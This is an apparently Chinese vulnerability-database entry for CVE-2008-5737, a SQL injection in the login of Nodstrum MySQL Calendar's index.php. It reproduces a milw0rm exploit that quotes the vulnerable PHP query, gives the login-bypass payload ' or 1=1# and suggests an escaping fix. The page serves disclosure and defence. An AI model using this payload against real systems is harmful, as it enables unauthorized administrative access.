Nodstrum MySQL Calendar 'index.php'SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117107 漏洞类型 SQL注入
发布时间 2008-12-22 更新时间 2009-01-29
CVE编号 CVE-2008-5737 CNNVD-ID CNNVD-200812-461
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/7551
https://cxsecurity.com/issue/WLB-2008120198
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200812-461
|漏洞详情
MySQLCalendar是一款基于MySQL和OverLIB的事件日历工具。NodstrumMySQLCalendar1.1版本以及1.2版本的index.php中存在SQL注入漏洞。远程攻击者可以借助用户名参数,执行任意SQL指令。
|漏洞EXP
-----------------------------------------------------
 Calendar Script v1.1 Admin Login Bypass Vulnerability
 -----------------------------------------------------
 by athos - staker[at]hotmail[dot]it
 http://www.hotscripts.com/jump.php?listing_id=71365&jump_type=1

 File Vuln "index.php" (code details)

 ------------------------------------------------------------

 4.  $action = $_POST['action'];
 5.
 6.  switch($action) {
 7.  case 'login':
 8.  // login
 9.  $username = stripslashes(trim($_POST['username']));
 10. $password = sha1(stripslashes(trim($_POST['password'])));
 11.
 12. if(empty($username) || empty($password)) {
 13. // Stop, someone tried entering nothing into here
 14. // Show an error.
 15. $loginMsg = 'You must enter a username and password';
 16. } else {
 17. // The input seems to be ok, check it against the database.
 18. $checkDetails = mysql_query("SELECT id FROM user WHERE username='$username' AND password='$password' LIMIT 1", $conn);

 ------------------------------------------------------------

 Exploit

 http://[host]/[path]/index.php

 (Login) Username: ' or 1=1# & Password: anything

 ------------------------------------------------------------

 Fix: $username = mysql_real_escape_string($_POST['username']);

 Note: works regardless php.ini settings (str0ke =D)
       don't add me on msn messenger

 ------------------------------------------------------------

# milw0rm.com [2008-12-22]
|参考资料

来源:XF
名称:mysqlcalendar-index-sql-injection(47544)
链接:http://xforce.iss.net/xforce/xfdb/47544
来源:BID
名称:32978
链接:http://www.securityfocus.com/bid/32978
来源:MILW0RM
名称:7551
链接:http://www.milw0rm.com/exploits/7551
来源:SREASON
名称:4815
链接:http://securityreason.com/securityalert/4815
来源:SECUNIA
名称:33266
链接:http://secunia.com/advisories/33266
来源:OSVDB
名称:50892
链接:http://osvdb.org/50892